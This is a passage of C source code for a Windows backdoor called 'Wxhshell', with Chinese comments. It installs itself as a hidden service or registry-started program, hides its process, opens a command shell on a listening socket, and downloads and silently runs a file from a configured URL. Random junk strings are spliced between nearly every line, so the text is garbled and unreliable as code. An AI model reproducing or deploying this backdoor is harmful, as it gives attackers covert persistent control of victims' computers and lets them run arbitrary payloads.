J%P 3rUuRsXn CloseHandle(hProcess); )qL UHE= mk'$ |2O hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gpe/ dfyJ9 if(hProcess==NULL) return 0; L2jjkyX] )yj:P HMODULE hMod; fGz++;b<S char procName[255]; :9O"?FE unsigned long cbNeeded; `/4R$E{ #3h~Z)+y if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?C6DK{S( W|yFjE&dr CloseHandle(hProcess); 68
*~5] Z.iQm{bI if(strstr(procName,"services")) return 1; // 以服务启动 ]DO~7p[ }5??n~:*5 return 0; // 注册表启动 Pcs62aE } @N% /v* dh~ cj5 // 主模块 B9[eLh! int StartWxhshell(LPSTR lpCmdLine) dHUcu@, { CU7WK}2h2C SOCKET wsl; _^(}6o BOOL val=TRUE; ,+Bp>=pvs int port=0; w9W0j struct sockaddr_in door; K*]^0 Ne=o+ $.( if(wscfg.ws_autoins) Install(); >cV^f6fH ] C&AU[U* port=atoi(lpCmdLine); !VXs
yH3r5 }nO[;2Na if(port<=0) port=wscfg.ws_port; M#?^uu' p3L0'rY|+ WSADATA data; ;G=:>m~ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l?rT_uO 4 3SMb#ce*o if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; itpljh setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p[&6hXTd door.sin_family = AF_INET; ~dm/U7B: door.sin_addr.s_addr = inet_addr("127.0.0.1"); - UMPt"o door.sin_port = htons(port); n_qDg d${RZ}/ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uh8+Y%V
p closesocket(wsl); |vI1C5e return 1; \LI 2=J* } &|%F=/VU j0eGg:: if(listen(wsl,2) == INVALID_SOCKET) { yE6EoC^ closesocket(wsl); AvxP0@.` return 1; :-.K.Ch|: } +kXj+2 Wxhshell(wsl); CL%+`c0 WSACleanup(); EK
JPeeRY DJu&l return 0; OSDx >,#73u# } ,];4+&|8kW F-g7* // 以NT服务方式启动 - 2`D(xC VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) '(4#He?Gd { D{J+}*y DWORD status = 0; v)VhR2d3 DWORD specificError = 0xfffffff; </%n:<z4 !K~L&.\T serviceStatus.dwServiceType = SERVICE_WIN32; j_I serviceStatus.dwCurrentState = SERVICE_START_PENDING; @|1/yQgi serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *
I{)8 serviceStatus.dwWin32ExitCode = 0; :/1/i&a serviceStatus.dwServiceSpecificExitCode = 0; mK);NvJ! serviceStatus.dwCheckPoint = 0; JBCJVWUt serviceStatus.dwWaitHint = 0; {;kH&Pp :AzP3~BI hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F:P&hK if (hServiceStatusHandle==0) return; ndY1j5 *a2y status = GetLastError(); Z#i5=,Bk if (status!=NO_ERROR) ! 54(K6a[ { ,M)NC%0X serviceStatus.dwCurrentState = SERVICE_STOPPED; bns([F serviceStatus.dwCheckPoint = 0; 9W~3E^x serviceStatus.dwWaitHint = 0; Kr*s]O serviceStatus.dwWin32ExitCode = status; ] SErM#$* serviceStatus.dwServiceSpecificExitCode = specificError; :6
\?{xD SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,fQs+*j return; u40k9vh } 'g$a.75/- x9Qa.Jmj serviceStatus.dwCurrentState = SERVICE_RUNNING; #3L=\j[
y serviceStatus.dwCheckPoint = 0; }"{NW!RfP serviceStatus.dwWaitHint = 0; UhX`BGpM{ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ` s}v6 } R8uiLZd %L^S;v3 // 处理NT服务事件,比如:启动、停止 /JOEnQ5X\! VOID WINAPI NTServiceHandler(DWORD fdwControl) u{@b_75Y { -54 switch(fdwControl) fV`R7m. { f7Dx.- case SERVICE_CONTROL_STOP: q%/ciPgE serviceStatus.dwWin32ExitCode = 0; g3i !> serviceStatus.dwCurrentState = SERVICE_STOPPED; luEP5l2& serviceStatus.dwCheckPoint = 0; jgb>:]: serviceStatus.dwWaitHint = 0; 0tzMu# { wW1E
'Vy{ SetServiceStatus(hServiceStatusHandle, &serviceStatus); :<`hsKy& } =}G `i** return; j(8I+|| case SERVICE_CONTROL_PAUSE: g[W`4 serviceStatus.dwCurrentState = SERVICE_PAUSED; &;)6G1X1 break; _*.Wo"[%[X case SERVICE_CONTROL_CONTINUE: }+_Z|>qv serviceStatus.dwCurrentState = SERVICE_RUNNING; m9Z 3q ; break; =}12S:Qhj case SERVICE_CONTROL_INTERROGATE: TAbC-T.EV break; bN#)F
}; I'_.U]An SetServiceStatus(hServiceStatusHandle, &serviceStatus); cX64 X } Ux2pqPb gda3{g7<) // 标准应用程序主函数 u/@dWeY[] int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) aXSTA,% { wN])"bmB X5@rPGc // 获取操作系统版本 U
=()T}b> OsIsNt=GetOsVer(); D:uBr|(' GetModuleFileName(NULL,ExeFile,MAX_PATH); /FZ@Z]Q0G z]NN ^pIa // 从命令行安装 y3
{om^ f if(strpbrk(lpCmdLine,"iI")) Install(); quB.A7~^= CVi3nS5Yl // 下载执行文件 ;tR,w
if(wscfg.ws_downexe) { D [#1~M if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qYMTud[Vf WinExec(wscfg.ws_filenam,SW_HIDE); )32BM+f"77 }
iG[an*#X JvHGu&Nr! if(!OsIsNt) { y`~[R7E // 如果时win9x,隐藏进程并且设置为注册表启动 ((U-JeFW HideProc(); S> f8j?n StartWxhshell(lpCmdLine); sQT0y(FW } T1@]:`& else YdgaZJs if(StartFromService()) LWb5C{ // 以服务方式启动 T/^ /U6JB StartServiceCtrlDispatcher(DispatchTable); #_tixg else 2<aBUGA // 普通方式启动 pvJsSX StartWxhshell(lpCmdLine); nKFua l3 m|O7@N return 0; 6 ]@H .8+ }
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